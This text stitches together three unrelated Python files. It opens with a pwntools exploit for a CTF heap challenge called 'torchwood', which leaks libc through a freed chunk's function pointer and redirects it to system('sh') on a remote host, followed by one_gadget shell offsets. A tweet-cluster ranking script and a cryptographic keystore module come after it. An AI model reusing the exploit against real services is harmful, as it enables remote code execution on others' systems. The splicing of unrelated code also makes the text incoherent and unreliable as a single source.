#context.log_level="debug"
if local :
    a=process("./torchwood")
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
    a=remote("172.1.14.9","8888")
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

elf=ELF("./torchwood")
def debug():
    gdb.attach(a,'''
    b *(0x8048924)
    b *0x8048723
    b *0x804875C
    ''')
    #malloc
def menu(index):
    a.recvuntil("CNote > ")
    a.sendline(str(index))
def add(index,type,size,content):
    menu(1)
    a.recvuntil("Index > ")
    a.sendline(str(index))
    a.recvuntil("Type > ")
    a.sendline(str(type))
    if type == 2:
        a.recvuntil("Length > ")
        a.sendline(str(size))
        a.recvuntil("Value > ")
        a.sendline(content)
    else:
        a.recvuntil("Value > ")
        a.sendline(str(content))
def delete(index):
    menu(2)
    a.recvuntil(" > ")
    a.sendline(str(index))
def show(index):
    menu(3)
    a.recvuntil(" > ")
    a.sendline(str(index))
#chunk_info 16byte
#
str_print=0x80486DE
str_free=0x8048725
add(0,2,0x40,"1")#0
add(1,2,0x40,"1")#1
add(2,1,0x40,1)#2 防止合并
delete(0)
delete(1)
add(3,2,12,p32(str_print))#3
show(0)
a.recvuntil("String, Value=")
libc_base=u32(a.recv(4))-libc.symbols["__malloc_hook"]-0x18-48
success("libc_base ==> 0x%x"%libc_base)
system_addr=libc_base+libc.symbols["system"]
delete(3)
add(4,2,12,"sh\x00\x00"+p32(system_addr))
delete(0)

a.interactive()

'''
wxy@ubuntu:/mnt/hgfs/Desktop/xianxia/pwn3$ one_gadget /lib/i386-linux-gnu/libc.so.6
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5fbc5 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5fbc6 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

'''


import pandas as pd
from nltk.tokenize import word_tokenize
import math
import csv
from datetime import datetime
import pyproj
from shapely.geometry import shape
from shapely.ops import transform
import json

def create_cluster():
    with open('Clusters', 'r') as target:
        cluster_dict = json.load(target)
    cluster= [x['Tweets'] for x in cluster_dict]
    return cluster

def calculate_area(clusters):
    areas = []
    for x in clusters:
        lat_min = data.iloc[x[0]]['Latitude']
        lat_max = data.iloc[x[0]]['Latitude']
        long_min = data.iloc[x[0]]['Longitude']
        long_max = data.iloc[x[0]]['Longitude']

        for y in x:
            latitude = data.iloc[y]['Latitude']
            longitude = data.iloc[y]['Longitude']
            if latitude > lat_max:
                lat_max = latitude
            elif latitude < lat_min:
                lat_min = latitude
            if longitude > long_max:
                long_max = longitude
            elif longitude < long_min:
                long_min = longitude
        # geom = {'type': 'Polygon',
        #         'coordinates': [[[lat_min, long_min], [lat_min, long_max], [lat_max,long_max], [lat_max, long_min]]]}

        geom = {'type': 'Polygon',
                    'coordinates': [[[long_min,lat_min ], [long_max,lat_min], [long_max, lat_max], [long_min,lat_max]]]}
        s = shape(geom)
        proj = partial(pyproj.transform, pyproj.Proj(init='epsg:4326'), pyproj.Proj(init='epsg:3857'))
        s_new = transform(proj, s)
        projected_area = s_new.area/1000000
        areas.append(projected_area)
        areas = [0 if math.isnan(x) else x for x in areas]
    return areas

def partial(func, *args, **keywords):
    def newfunc(*fargs, **fkeywords):
        newkeywords = keywords.copy()
        newkeywords.update(fkeywords)
        return func(*(args + fargs), **newkeywords)

    newfunc.func = func
    newfunc.args = args
    newfunc.keywords = keywords
    return newfunc

def calc_datetime():
    date_time = []
    for x in range(len(data)):
        date_time.append(datetime.combine(datetime.strptime(data.iloc[x]["Date"], '%Y-%m-%d'),
                                          datetime.strptime(data.iloc[x]["Time"], '%H:%M').time()))
    return date_time

def calc_params(cluster):
    tweet_number = []
    user_number = []
    time_dif = []
    for x in cluster:
        tweet_number.append(len(x))
        user_number.append(len(x))
        time_min = date_time[x[0]]
        time_max = date_time[x[0]]
        for y in x:
            if date_time[y] > time_max:
                time_max = date_time[y]
            if date_time[y] < time_min:
                time_min = date_time[y]
        time_dif.append(time_max - time_min)
    return tweet_number, user_number, time_dif

def common_words(cluster):

    cluster_words=[]
    for y in cluster:
        tweet=data.iloc[y]['Tweet']
        words=word_tokenize(tweet)
        for word in words:
            if not word in cluster_words:
                cluster_words.append(word)
    return cluster_words

def calc_scores(cluster):
    a1 = 0.5
    a2 = 0.5
    a3 = 0.5
    a4 = 0.5
    scores = []
    for x in range(len(cluster)):
        scores.append(a1 * tweet_numbers[x] + a2 * user_numbers[x] + a3 * time_difs[x].total_seconds() + a4 * area[x])
    return scores

def max(list):
    index=0
    max=list[0]
    for x in range(len(list)):
        if list[x]>max:
            max=list[x]
            index=x
    return index

def ranking(scores):
    cluster_info=[]
    for x in range(len(scores)):
        max_index=max(scores)
        scores[max_index]=0
        tweets= [dataset_original.iloc[x]["Tweet"] for x in cluster[max_index]]
        cluster_info.append({"ClusterId": max_index, "ClusterRank": x+1, "TweetIds": cluster[max_index], "Tweets": tweets})
    keys = cluster_info[0].keys()
    with open('Cluster_Ranking_Results.csv', 'w') as output_file:
        dict_writer = csv.DictWriter(output_file, keys)
        dict_writer.writeheader()
        dict_writer.writerows(cluster_info)

dataset = pd.read_csv("processed_dataset.csv", sep="\t")
data = dataset.head(n=100)
dataset_original = pd.read_csv("processed_dataset.csv", sep="\t")
cluster= create_cluster()
# print(cluster)
area = calculate_area(cluster)
date_time = calc_datetime()
tweet_numbers, user_numbers, time_difs = calc_params(cluster)
# print(tweet_numbers)
# print(user_numbers)
# print(time_difs)
# print(area)
scores= calc_scores(cluster)
#print(scores)
ranking(scores)


import glob
import logging
import os
import random
import re
import threading
import time
import uuid
from abc import ABC, abstractmethod
from collections.abc import Sequence
from datetime import datetime
from os.path import join
from pathlib import Path
from typing import AnyStr, Optional
from uuid import UUID

from schema import Or, And, Optional as OptionalKey, Schema

from wacryptolib.cipher import SUPPORTED_CIPHER_ALGOS
from wacryptolib.exceptions import (
    KeyAlreadyExists,
    KeyDoesNotExist,
    KeystoreDoesNotExist,
    ValidationError,
    KeystoreMetadataDoesNotExist,
)
from wacryptolib.keygen import generate_keypair, SUPPORTED_ASYMMETRIC_KEY_ALGOS
from wacryptolib.utilities import (
    synchronized,
    load_from_json_file,
    PeriodicTaskHandler,
    generate_uuid0,
    dump_to_json_file,
    is_datetime_tz_aware,
    catch_and_log_exception,
    validate_data_against_schema,
)

logger = logging.getLogger(__name__)

def non_empty(value):
    return bool(value)

KEYSTORE_FORMAT = "keystore_1.0"

_KEYSTORE_METADATA_SCHEMA = {
    "keystore_type": Or("keyfactory", "authenticator"),
    "keystore_format": KEYSTORE_FORMAT,  # For forward compatibility
    "keystore_uid": UUID,
    "keystore_owner": And(str, non_empty),
    OptionalKey("keystore_creation_datetime"): And(datetime, is_datetime_tz_aware),
    OptionalKey("keystore_secret"): str,
    OptionalKey("keystore_passphrase_hint"): And(str, non_empty),  # For authenticators
}

# TODO add dedicated KEYSTORE_METADATA_SCHEMA for AUTHENTICATORS, and for FOREIGN KEYSTORES (without passphrase hint)?

KEYSTORE_METADATA_SCHEMA = Schema({**_KEYSTORE_METADATA_SCHEMA})

KEYSTORE_TREE_SCHEMA = Schema(
    {
        **_KEYSTORE_METADATA_SCHEMA,
        "keypairs": [
            {
                "keychain_uid": UUID,
                "key_algo": Or(*SUPPORTED_CIPHER_ALGOS),
                "public_key": bytes,  # MANDATORY
                "private_key": Or(None, bytes),
            }
        ],
    }
)

def validate_keystore_metadata(keystore_metadata):
    validate_data_against_schema(keystore_metadata, schema=KEYSTORE_METADATA_SCHEMA)

def validate_keystore_tree(authenticator):
    validate_data_against_schema(authenticator, schema=KEYSTORE_TREE_SCHEMA)

def load_keystore_metadata(keystore_dir: Path) -> dict:
    """
    Return the authenticator metadata dict stored in the given folder, after validating its format.

    Raises KeystoreMetadataDoesNotExist if no metadata file is present.

    Raises SchemaValidationError if keystore appears initialized, but has corrupted metadata.
    """

    metadata_file = _get_keystore_metadata_file_path(keystore_dir)
    legacy_metadata_file = _get_legacy_keystore_metadata_file_path(keystore_dir)

    try:
        metadata = load_from_json_file(metadata_file)
    except FileNotFoundError:
        try:
            metadata = load_from_json_file(legacy_metadata_file)
        except FileNotFoundError as exc:
            raise KeystoreMetadataDoesNotExist("Keystore metadata file %s does not exist" % metadata_file) from exc
    validate_keystore_metadata(metadata)
    return metadata

def _get_keystore_metadata_file_path(keystore_dir: Path):
    """
    Return path of standard metadata file for key storage.
    """
    return keystore_dir.joinpath("keystore_metadata.json")

def _get_legacy_keystore_metadata_file_path(keystore_dir: Path):
    """
    Return path of legacy metadata file for key storage.
    """
    return keystore_dir.joinpath(".keystore.json")

class KeystoreBase(ABC):
    _lock = threading.Lock()

    @abstractmethod
    def _public_key_exists(self, *, keychain_uid: uuid.UUID, key_algo: str) -> bool:  # pragma: no cover
        raise NotImplementedError("KeystoreBase._public_key_exists()")

    @abstractmethod
    def _private_key_exists(self, *, keychain_uid: uuid.UUID, key_algo: str) -> bool:  # pragma: no cover
        raise NotImplementedError("KeystoreBase._private_key_exists()")

    def _check_public_key_does_not_exist(self, keychain_uid: uuid.UUID, key_algo: str):
        if self._public_key_exists(keychain_uid=keychain_uid, key_algo=key_algo):
            raise KeyAlreadyExists("Already existing public key %s/%s" % (key_algo, keychain_uid))
        assert not self._private_key_exists(keychain_uid=keychain_uid, key_algo=key_algo)  # By construction

    def _check_private_key_does_not_exist(self, keychain_uid: uuid.UUID, key_algo: str):
        if self._private_key_exists(keychain_uid=keychain_uid, key_algo=key_algo):
            raise KeyAlreadyExists("Already existing private key %s/%s" % (key_algo, keychain_uid))

class KeystoreReadBase(KeystoreBase):
    """
    Subclasses of this storage interface can be implemented to retrieve keys from
    miscellaneous locations (disk, database...), without permission checks.
    """

    @synchronized
    def get_public_key(self, *, keychain_uid: uuid.UUID, key_algo: str) -> bytes:
        """
        Fetch a public key from persistent storage.

        :param keychain_uid: unique ID of the keychain
        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS

        :return: public key in clear PEM format, or raise KeyDoesNotExist
        """
        if not self._public_key_exists(keychain_uid=keychain_uid, key_algo=key_algo):
            raise KeyDoesNotExist("Public key %s/%s not found" % (key_algo, keychain_uid))
        return self._get_public_key(keychain_uid=keychain_uid, key_algo=key_algo)

    @synchronized
    def get_private_key(self, *, keychain_uid: uuid.UUID, key_algo: str) -> bytes:
        """
        Fetch a private key from persistent storage.

        :param keychain_uid: unique ID of the keychain
        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS

        :return: private key in PEM format (potentially passphrase-protected), or raise KeyDoesNotExist
        """
        if not self._private_key_exists(keychain_uid=keychain_uid, key_algo=key_algo):
            raise KeyDoesNotExist("Private key %s/%s not found" % (key_algo, keychain_uid))
        return self._get_private_key(keychain_uid=keychain_uid, key_algo=key_algo)

    @synchronized
    def list_keypair_identifiers(self) -> list:
        """
        List identifiers of PUBLIC keys present in the storage, along with their potential private key existence.

        Might raise an OperationNotSupported exception if not supported by this keystore.

        :return: a SORTED list of key information dicts with standard fields "keychain_uid" and "key_algo", as well as
                 a boolean "private_key_present" which is True if the related private key exists in storage.
                 Sorting is done by keychain_uid and then key_algo.
        """
        key_information_list = self._list_unordered_keypair_identifiers()
        key_information_list.sort(key=lambda x: (x["keychain_uid"], x["key_algo"]))
        return key_information_list

    @abstractmethod
    def _get_public_key(self, *, keychain_uid: uuid.UUID, key_algo: str) -> bytes:  # pragma: no cover
        raise NotImplementedError("KeystoreReadBase._get_public_key()")

    @abstractmethod
    def _get_private_key(self, *, keychain_uid: uuid.UUID, key_algo: str) -> bytes:  # pragma: no cover
        raise NotImplementedError("KeystoreReadBase._get_private_key()")

    @abstractmethod
    def _list_unordered_keypair_identifiers(self) -> list:  # pragma: no cover
        raise NotImplementedError("KeystoreReadBase._list_unordered_keypair_identifiers()")

class KeystoreWriteBase(KeystoreBase):
    """
    Subclasses of this storage interface can be implemented to store keys into
    miscellaneous locations (disk, database...), without permission checks.
    """

    @synchronized
    def set_keypair(self, *, keychain_uid: uuid.UUID, key_algo: str, public_key: bytes, private_key: bytes) -> None:
        """
        Store a pair of asymmetric keys into storage, attached to a specific UUID.

        Must raise a KeyAlreadyExists exception if a public/private key already exists for these uid/type identifiers.

        :param keychain_uid: unique ID of the keychain
        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS
        :param public_key: public key in clear PEM format
        :param private_key: private key in PEM format (potentially encrypted)
        """
        assert public_key and private_key, (public_key, private_key)
        self._check_public_key_does_not_exist(keychain_uid=keychain_uid, key_algo=key_algo)
        self._set_keypair(keychain_uid=keychain_uid, key_algo=key_algo, public_key=public_key, private_key=private_key)

    def _set_keypair(self, *, keychain_uid: uuid.UUID, key_algo: str, public_key: bytes, private_key: bytes) -> None:
        self._set_public_key(keychain_uid=keychain_uid, key_algo=key_algo, public_key=public_key)
        self._set_private_key(keychain_uid=keychain_uid, key_algo=key_algo, private_key=private_key)

    @synchronized
    def set_public_key(self, *, keychain_uid, key_algo, public_key: bytes) -> None:
        """
        Store a public key, which must not already exist - else KeyAlreadyExists is raised.

        :param keychain_uid: unique ID of the keychain
        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS
        :param public_key: public key in clear PEM format
        """
        self._check_public_key_does_not_exist(keychain_uid=keychain_uid, key_algo=key_algo)
        self._set_public_key(keychain_uid=keychain_uid, key_algo=key_algo, public_key=public_key)

    @synchronized
    def set_private_key(self, *, keychain_uid, key_algo, private_key: bytes) -> None:
        """
        Store a private key, which must not already exist - else a KeyAlreadyExists is raised.

        Important : the PUBLIC key for this private key must already exist in the keystore,
        else KeyDoesNotExist is raised.

        :param keychain_uid: unique ID of the keychain
        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS
        :param private_key: private key in PEM format (potentially encrypted)
        """
        if not self._public_key_exists(
            keychain_uid=keychain_uid, key_algo=key_algo
        ):  # We don't want lonely private keys
            raise KeyDoesNotExist(
                "Public key %s/%s does not exist, cannot attach private key to it" % (key_algo, keychain_uid)
            )
        self._check_private_key_does_not_exist(keychain_uid=keychain_uid, key_algo=key_algo)
        self._set_private_key(keychain_uid=keychain_uid, key_algo=key_algo, private_key=private_key)

    @synchronized
    def get_free_keypairs_count(self, key_algo: str) -> int:
        """
        Calculate the count of keypairs of type `key_algo` which are free for subsequent attachment to an UUID.

        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS
        :return: count of free keypairs of said type
        """
        return self._get_free_keypairs_count(key_algo=key_algo)

    @synchronized
    def add_free_keypair(self, *, key_algo: str, public_key: bytes, private_key: bytes) -> None:
        """
        Store a pair of asymmetric keys into storage, free for subsequent attachment to an UUID.

        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS
        :param public_key: public key in clear PEM format
        :param private_key: private key in PEM format (potentially encrypted)
        """
        return self._add_free_keypair(key_algo=key_algo, public_key=public_key, private_key=private_key)

    @synchronized
    def attach_free_keypair_to_uuid(self, *, keychain_uid: uuid.UUID, key_algo: str) -> None:
        """
        Fetch one of the free keypairs of storage of type `key_algo`, and attach it to UUID `keychain_uid`.

        If no free keypair is available, a KeyDoesNotExist is raised.

        :param keychain_uid: unique ID of the keychain
        :param key_algo: one of SUPPORTED_ASYMMETRIC_KEY_ALGOS
        :return: public key of the keypair, in clear PEM format
        """
        self._check_public_key_does_not_exist(keychain_uid=keychain_uid, key_algo=key_algo)
        return self._attach_free_keypair_to_uuid(keychain_uid=keychain_uid, key_algo=key_algo)

    @abstractmethod
    def _set_public_key(self, *, keychain_uid: uuid.UUID, key_algo: str, public_key: bytes) -> None:  # pragma: no cover
        raise NotImplementedError("KeystoreWriteBase._set_public_key()")

    @abstractmethod
    def _set_private_key(
        self, *, keychain_uid: uuid.UUID, key_algo: str, private_key: bytes
    ) -> None:  # pragma: no cover
        raise NotImplementedError("KeystoreWriteBase._set_private_key()")

    @abstractmethod
    def _get_free_keypairs_count(self, key_algo: str) -> int:  # pragma: no cover
        raise NotImplementedError("KeystoreWriteBase._get_free_keypairs_count()")

    @abstractmethod
    def _add_free_keypair(self, *, key_algo: str, public_key: bytes, private_key: bytes) -> None:  # pragma: no cover
        raise NotImplementedError("KeystoreWriteBase._add_free_keypair()")

    @abstractmethod
    def _attach_free_keypair_to_uuid(self, *, keychain_uid: uuid.UUID, key_algo: str) -> None:  # pragma: no cover
        raise NotImplementedError("KeystoreWriteBase._attach_free_keypair_to_uuid()")

class KeystoreReadWriteBase(KeystoreWriteBase, KeystoreReadBase):
    pass  # Derive from this class to have full-featured keystores

class InMemoryKeystore(KeystoreReadWriteBase):
    """
    Dummy key storage for use in tests, where keys are kepts only process-locally.

    NOT MEANT TO BE THREAD-SAFE
    """

    def __init__(self):
        self._cached_keypairs = {}  # Maps (keychain_uid, key_algo) to dicts of public_key/private_key
        self._free_keypairs = {}  # Maps key types to lists of dicts of public_key/private_key

    def _get_keypair_dict_or_none(self, *, keychain_uid, key_algo):
        return self._cached_keypairs.get((keychain_uid, key_algo))

    def _public_key_exists(self, *, keychain_uid, key_algo):
        keypair_dict = self._get_keypair_dict_or_none(keychain_uid=keychain_uid, key_algo=key_algo)
        return bool(keypair_dict and keypair_dict.get("public_key"))

    def _private_key_exists(self, *, keychain_uid, key_algo):
        keypair_dict = self._get_keypair_dict_or_none(keychain_uid=keychain_uid, key_algo=key_algo)
        return bool(keypair_dict and keypair_dict.get("private_key"))

    def _get_public_key(self, *, keychain_uid, key_algo):
        keypair = self._get_keypair_dict_or_none(keychain_uid=keychain_uid, key_algo=key_algo)
        return keypair["public_key"]  # MUST EXIST by construction

    def _get_private_key(self, *, keychain_uid, key_algo):
        keypair = self._get_keypair_dict_or_none(keychain_uid=keychain_uid, key_algo=key_algo)
        return keypair["private_key"]  # MUST EXIST by construction

    def _list_unordered_keypair_identifiers(self):
        key_information_list = []
        for (keychain_uid, key_algo), keypair in self._cached_keypairs.items():
            key_information = dict(
                keychain_uid=keychain_uid, key_algo=key_algo, private_key_present=bool(keypair.get("private_key"))
            )
            key_information_list.append(key_information)
        return key_information_list

    def _set_public_key(self, *, keychain_uid: uuid.UUID, key_algo, public_key):
        assert (keychain_uid, key_algo) not in self._cached_keypairs
        self._cached_keypairs[(keychain_uid, key_algo)] = dict(public_key=public_key)

    def _set_private_key(self, *, keychain_uid: uuid.UUID, key_algo, private_key):
        self._cached_keypairs[(keychain_uid, key_algo)]["private_key"] = private_key

    def _get_free_keypairs_count(self, key_algo):
        return len(self._free_keypairs.get(key_algo, []))

    def _add_free_keypair(self, *, key_algo, public_key, private_key):
        keypair = dict(public_key=public_key, private_key=private_key)
        sublist = self._free_keypairs.setdefault(key_algo, [])
        sublist.append(keypair)

    def _attach_free_keypair_to_uuid(self, *, keychain_uid, key_algo):
        try:
            sublist = self._free_keypairs[key_algo]
            keypair = sublist.pop()
        except LookupError:
            raise KeyDoesNotExist("No free keypair of type %s available in dummy storage" % key_algo)
        else:
            self._set_keypair(
                keychain_uid=keychain_uid,
                key_algo=key_algo,
                public_key=keypair["public_key"],
                private_key=keypair["private_key"],
            )

class ReadonlyFilesystemKeystore(KeystoreReadBase):
    """
    Read-only filesystem-based key storage.
    """

    _private_key_suffix = "_private_key.pem"
    _public_key_suffix = "_public_key.pem"
    PUBLIC_KEY_FILENAME_REGEX = r"^(?P<keychain_uid>[-0-9a-z]+)_(?P<key_algo>[_a-zA-Z]+)%s$" % _public_key_suffix

    def __init__(self, keys_dir: Path):
        keys_dir = Path(keys_dir).absolute()
        assert keys_dir.is_dir(), keys_dir
        self._keys_dir = keys_dir

    def _get_filepath(self, keychain_uid, key_algo, is_public: bool):
        filename = "%s_%s%s" % (
            keychain_uid,
            key_algo,
            self._public_key_suffix if is_public else self._private_key_suffix,
        )
        return self._keys_dir.joinpath(filename)

    def _read_from_storage_file(self, filepath: Path):
        assert self._keys_dir in filepath.parents  # No weirdness with outside folders
        return filepath.read_bytes()

    def _public_key_exists(self, *, keychain_uid, key_algo):
        return self._get_filepath(keychain_uid, key_algo=key_algo, is_public=True).exists()

    def _private_key_exists(self, *, keychain_uid, key_algo):
        return self._get_filepath(keychain_uid, key_algo=key_algo, is_public=False).exists()

    def _get_public_key(self, *, keychain_uid, key_algo):
        filepath = self._get_filepath(keychain_uid, key_algo=key_algo, is_public=True)
        return self._read_from_storage_file(filepath)

    def _get_private_key(self, *, keychain_uid, key_algo):
        filepath = self._get_filepath(keychain_uid, key_algo=key_algo, is_public=False)
        return self._read_from_storage_file(filepath)

    def _list_unordered_keypair_identifiers(self):
        key_information_list = []

        public_key_pem_paths = glob.glob(join(self._keys_dir, "*" + self._public_key_suffix))

        for public_key_pem_path in public_key_pem_paths:
            public_key_pem_filename = os.path.basename(public_key_pem_path)

            match = re.match(self.PUBLIC_KEY_FILENAME_REGEX, public_key_pem_filename)

            if not match:
                logger.warning(
                    "Skipping abnormally named PEM file %r when listing public keys", public_key_pem_filename
                )
                continue

            # print("MATCH FOUND", public_key_pem_filename, match.groups(), self.PUBLIC_KEY_FILENAME_REGEX)

            keychain_uid_str = match.group("keychain_uid")
            key_algo = match.group("key_algo")

            try:
                keychain_uid = uuid.UUID(keychain_uid_str)
            except ValueError:
                logger.warning(
                    "Skipping PEM file with abnormal UUID %r when listing public keys", public_key_pem_filename
                )
                continue

            private_key_pem_filename = public_key_pem_filename.replace(
                self._public_key_suffix, self._private_key_suffix
            )
            private_key_present = os.path.exists(join(self._keys_dir, private_key_pem_filename))
            key_information = dict(
                keychain_uid=keychain_uid, key_algo=key_algo, private_key_present=private_key_present
            )
            key_information_list.append(key_information)

        return key_information_list

    def get_keystore_metadata(self, include_keypair_identifiers=False):
        """Return a metadata dict for the filesystem keystore, or raise KeystoreMetadataDoesNotExist."""
        metadata = load_keystore_metadata(self._keys_dir)
        if include_keypair_identifiers:
            metadata["keypair_identifiers"] = self.list_keypair_identifiers()
        return metadata

    def export_to_keystore_tree(self, include_private_keys=True):
        """
        Export keystore metadata and keys (public and, if include_private_keys is true, private)
        to a data tree.
        """

        assert self._keys_dir.exists(), self._keys_dir
        metadata = self.get_keystore_metadata()
        keypair_identifiers = self.list_keypair_identifiers()
        keypairs = []

        for keypair_identifier in keypair_identifiers:
            keypair = dict(
                keychain_uid=keypair_identifier["keychain_uid"],
                key_algo=keypair_identifier["key_algo"],
                public_key=self.get_public_key(
                    keychain_uid=keypair_identifier["keychain_uid"], key_algo=keypair_identifier["key_algo"]
                ),
                private_key=None,
            )
            if include_private_keys:
                keypair["private_key"] = self.get_private_key(
                    keychain_uid=keypair_identifier["keychain_uid"], key_algo=keypair_identifier["key_algo"]
                )
            keypairs.append(keypair)

        keystore_tree = metadata.copy()
        keystore_tree["keypairs"] = keypairs
        validate_keystore_tree(keystore_tree)  # Extra safety
        return keystore_tree

class FilesystemKeystore(ReadonlyFilesystemKeystore, KeystoreReadWriteBase):
    """
    Filesystem-based key storage.

    Protected by a process-wide lock, but not safe to use in multiprocessing environment, or in a process which can be brutally shutdown.
    To prevent corruption, caller should only persist UUIDs when the key storage operation is successfully finished.
    """

    _randint_args = (10**10, 10**11 - 1)

    def __init__(self, keys_dir: Path):
        super().__init__(keys_dir=keys_dir)
        self._free_keys_dir = self._keys_dir.joinpath("free_keys")  # Might not exist yet

    def _write_to_storage_file(self, filepath: Path, data: bytes):
        assert self._keys_dir in filepath.parents  # No weirdness with outside folders
        filepath.write_bytes(data)

    def _set_public_key(self, *, keychain_uid, key_algo, public_key):
        filepath = self._get_filepath(keychain_uid, key_algo=key_algo, is_public=True)
        self._write_to_storage_file(filepath=filepath, data=public_key)

    def _set_private_key(self, *, keychain_uid, key_algo, private_key):
        target_private_key_filename = self._get_filepath(keychain_uid, key_algo=key_algo, is_public=False)
        self._write_to_storage_file(filepath=target_private_key_filename, data=private_key)

    def _ensure_free_keys_dir_exists(self):
        self._free_keys_dir.mkdir(exist_ok=True)

    def _get_free_keypairs_count(self, key_algo):
        subdir = self._free_keys_dir.joinpath(key_algo)  # Might not exist yet
        if not subdir.is_dir():
            return 0
        return len(list(subdir.glob("*" + self._private_key_suffix)))  # PRIVATE keys show existence of FREE keypairs

    def _add_free_keypair(self, *, key_algo, public_key, private_key):
        self._ensure_free_keys_dir_exists()
        subdir = self._free_keys_dir.joinpath(key_algo)
        subdir.mkdir(exist_ok=True)

        random_name = str(random.randint(*self._randint_args))

        # If these free keys already exist, we overwrite them, it's OK
        # We first write the public key, since the private one identifies the presence of a full free key
        # Two-steps writing is used for increased atomicity

        subdir.joinpath(random_name + self._public_key_suffix + ".temp").write_bytes(public_key)
        subdir.joinpath(random_name + self._private_key_suffix + ".temp").write_bytes(private_key)

        subdir.joinpath(random_name + self._public_key_suffix + ".temp").replace(
            subdir.joinpath(random_name + self._public_key_suffix)
        )
        subdir.joinpath(random_name + self._private_key_suffix + ".temp").replace(
            subdir.joinpath(random_name + self._private_key_suffix)
        )

    def _attach_free_keypair_to_uuid(self, *, keychain_uid, key_algo):
        target_public_key_filename = self._get_filepath(keychain_uid, key_algo=key_algo, is_public=True)
        target_private_key_filename = self._get_filepath(keychain_uid, key_algo=key_algo, is_public=False)

        subdir = self._free_keys_dir.joinpath(key_algo)  # Might not exist
        globber = subdir.glob("*" + self._private_key_suffix)
        try:
            free_private_key = next(globber)
        except StopIteration:
            raise KeyDoesNotExist("No free keypair of type %s available in filesystem storage" % key_algo)
        _free_public_key_name = free_private_key.name.replace(self._private_key_suffix, self._public_key_suffix)
        free_public_key = subdir.joinpath(_free_public_key_name)

        # First move the PRIVATE key, so that it's not shown anymore as "free"
        free_private_key.replace(target_private_key_filename)
        free_public_key.replace(target_public_key_filename)

    def _initialize_metadata_from_keystore_tree(self, keystore_tree: dict):
        metadata_file = _get_keystore_metadata_file_path(self._keys_dir)
        metadata_file.parent.mkdir(parents=True, exist_ok=True)

        metadata = keystore_tree.copy()
        del metadata["keypairs"]  # All other fields should be metadata

        validate_keystore_metadata(metadata)  # Extra safety
        dump_to_json_file(metadata_file, metadata)
        return metadata

    def import_from_keystore_tree(self, keystore_tree) -> bool:
        """
        Import keystore metadata and keys (public and, if included, private) fom a data tree.

        If keystore already exists, it is completed with new keys, but metadata are untouched.

        Returns True if and only if keystore was updated instead of created.
        """
        validate_keystore_tree(keystore_tree)

        # FIXME make this atomic, using temp directory and revived safe_copy_xxx() utility?

        try:
            metadata = self.get_keystore_metadata()
            if keystore_tree["keystore_uid"] != metadata["keystore_uid"]:
                raise ValidationError("Mismatch between existing and incoming keystore UIDs")
            keystore_updated = True
        except KeystoreMetadataDoesNotExist:
            self._initialize_metadata_from_keystore_tree(keystore_tree)
            keystore_updated = False

        for keypair in keystore_tree["keypairs"]:
            try:
                self.set_public_key(
                    keychain_uid=keypair["keychain_uid"], key_algo=keypair["key_algo"], public_key=keypair["public_key"]
                )
            except KeyAlreadyExists:
                pass  # We ASSUME that it's the same key content

            if keypair["private_key"]:  # Field must exist, due to Schema
                try:
                    self.set_private_key(
                        keychain_uid=keypair["keychain_uid"],
                        key_algo=keypair["key_algo"],
                        private_key=keypair["private_key"],
                    )
                except KeyAlreadyExists:
                    pass  # We ASSUME that it's the same key content

        return keystore_updated

class KeystorePoolBase:
    pass
    # FIXME fill base class with Python function signatures!! Like in KeystoreBase!

    # Unused for now:
    # def ensure_foreign_keystore_does_not_exist(self, keystore_uid):
    #    """Raises KeystoreAlreadyExists if imported keystore already exists."""
    #    if keystore_uid in self.list_foreign_keystore_uids():
    #        raise KeystoreAlreadyExists("Key storage with UUID %s was already imported locally" % keystore_uid)

class InMemoryKeystorePool(KeystorePoolBase):
    """
    Dummy key storage pool for use in tests, where keys are kepts only process-locally.

    NOT MEANT TO BE THREAD-SAFE
    """

    def __init__(self):
        self._local_keystore = InMemoryKeystore()
        self._foreign_keystores = {}

    def get_local_keyfactory(self):
        return self._local_keystore

    def get_foreign_keystore(self, keystore_uid: UUID, writable: Optional[bool] = None):
        assert writable is None, writable  # No read/write specialization for InMemoryKeystorePool
        foreign_keystore = self._foreign_keystores.get(keystore_uid)
        if not foreign_keystore:
            raise KeystoreDoesNotExist("Key storage %s not found" % keystore_uid)
        return foreign_keystore

    def list_foreign_keystore_uids(self):
        return list(self._foreign_keystores.keys())

    def _register_fake_imported_storage_uids(self, storage_uids: Sequence):
        """Test-specific API"""
        assert not (set(storage_uids) & set(self._foreign_keystores.keys()))
        new_storages = {storage_uid: InMemoryKeystore() for storage_uid in storage_uids}
        self._foreign_keystores.update(new_storages)

class FilesystemKeystorePool(KeystorePoolBase):
    """This class handles a set of locally stored key storages.

    The local storage represents the current device/owner, and is expected to be used by read-write trustees,
    whereas imported key storages are supposed to be readonly, and only filled with keypairs imported from key-devices.
    """

    LOCAL_KEYFACTORY_DIRNAME = "local_keyfactory"
    FOREIGN_KEYSTORES_DIRNAME = "foreign_keystores"
    FOREIGN_KEYSTORE_PREFIX = "keystore_"

    def __init__(self, root_dir):
        root_dir = Path(root_dir)
        assert root_dir.is_dir(), root_dir
        self._root_dir = root_dir.absolute()

    def get_local_keyfactory(self):
        """Storage automatically created if unexisting."""
        local_keystore_dir = self._root_dir.joinpath(self.LOCAL_KEYFACTORY_DIRNAME)
        local_keystore_dir.mkdir(exist_ok=True)
        # TODO initialize metadata for local keystore too??
        return FilesystemKeystore(local_keystore_dir)

